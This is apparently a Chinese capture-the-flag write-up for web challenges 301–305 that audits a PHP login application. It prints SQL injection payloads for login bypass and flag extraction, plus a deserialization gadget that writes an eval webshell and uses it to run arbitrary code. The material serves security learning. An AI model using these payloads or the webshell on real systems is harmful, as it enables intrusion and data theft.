web301
主要审计checklogin页面,我对源码做了些许注释
<?phperror_reporting(0);session_start();require 'conn.php';$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";$username=$_POST['userid'];$userpwd=$_POST['userpwd'];$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";$result=$mysqli->query($sql);$row=$result->fetch_array(MYSQLI_BOTH);if($result->num_rows<1){ //如果result的结果集中行的数量小于一,则session错误$_SESSION['error']="1";header("location:login.php");return;}if(!strcasecmp($userpwd,$row['sds_password'])){//如果输入的userpwd和数据库中查出的psw相同,则进入主页面。$_SESSION['login']=1;$result->free();$mysqli->close();header("location:index.php");return;}$_SESSION['error']="1";header("location:login.php");?>

strcasecmp 判断两个数是否相等,如果相等就返回0,前面加个!,相等应该返回1,可以直接执行这个语句。
可以看到,sql语句没有任何转义和过滤,所以我们可以通过sql注入,使查出的结果和pwd相同
使用联合查询: userid=-1' union select 1 from sds_user %23&userpwd=1
web302

改了这个地方
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
可以看到我们的$usedrpwd被编码了,sds_decode,好在我们知道它的加密的方法。
<?phpfunction sds_decode($str){return md5(md5($str.md5(base64_encode("sds")))."sds");}echo sds_decode(1);?>//d9c77c4e454869d5d8da3b4be79694d3
userid=-1' union select d9c77c4e454869d5d8da3b4be79694d3'' from sds_user %23&userpwd=1
web303
下载源码
发现多了个user.sql的文件

里面插入了一个账号,admin,后面密码也是admin的意思
这里去看看checklogin,发现
长度限制了,不能从开始直接注入了
用admin,admin登录
<?phpsession_start();require 'conn.php';if(!isset($_SESSION['login'])){header("location:login.php");return;}else{//注入点$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;$dpt_name=$_POST['dpt_name'];$dpt_address=$_POST['dpt_address'];$dpt_build_year=$_POST['dpt_build_year'];$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";$dpt_cert_number=$_POST['dpt_cert_number'];$dpt_telephone_number=$_POST['dpt_telephone_number'];$mysqli->query("set names utf-8");$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";$result=$mysqli->query($sql);echo $sql;if($result===true){$mysqli->close();header("location:dpt.php");}else{die(mysqli_error($mysqli));}}?>
发现注入点insert语句没有任何过滤,直接注入
之后就是正常的sql注入
1'and (select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
dpt_name=1&dpt_address=2&dpt_build_year=2022-01-22&dpt_has_cert=on&dpt_cert_number=2&dpt_telephone_number=1%27+and+%28select+group_concat%28flag%29+from+sds_fl9g%29#
最后负载query函数。
web304
虽然添加了waf,但是waf没有用到注入点,所以上题的payload还可以用
web305
首先查看checklogin,多了个和·这个
再看文件目录
多了个class.php
class user{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __destruct(){file_put_contents($this->username, $this->password);}}
是个反序列化的类,我们可以通过file_put_contents函数,写入一个🐎
再看看我们上次注入的地方
都被waf给安排了,没办法,只能反序列化写马了
要在cookie处传值
因为是在checklogin页面,所以这个🐎要在checklogin页面写,又因为到checklogin的时候会跳转到login,所以直接抓包传值
<?phpclass user{public $username='shall.php';public $password= '<?php eval($_POST[1]);?>';}$a=new user();echo urlencode(serialize($a));?>//O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A9%3A%22shall.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
然后访问shall.php页面,可以直接连蚁剑
他的flag不在目录中,需要再数据库中操做
而conn.php的密码是假的,需要在网站的conn.php里找
然后连蚁剑查找flag
或者
直接在shall.php页面下进行任意代码执行
1=include "conn.php";$sql="select group_concat(flag) from sds_flabag "; //MySQL代码$result=$mysqli->query($sql);$row=$result->fetch_array(MYSQLI_BOTH);print_r($row);

然后就是我的一些疑问,为什么要对序列化进行url编码

所以我们把内容进行url编码,可以防止,浏览器对一些字符的错误识别。
小结
做完之后,就觉得sql注入这方面还是不行,都忘了,以前的基础查询语句都忘了,还是要补一下。
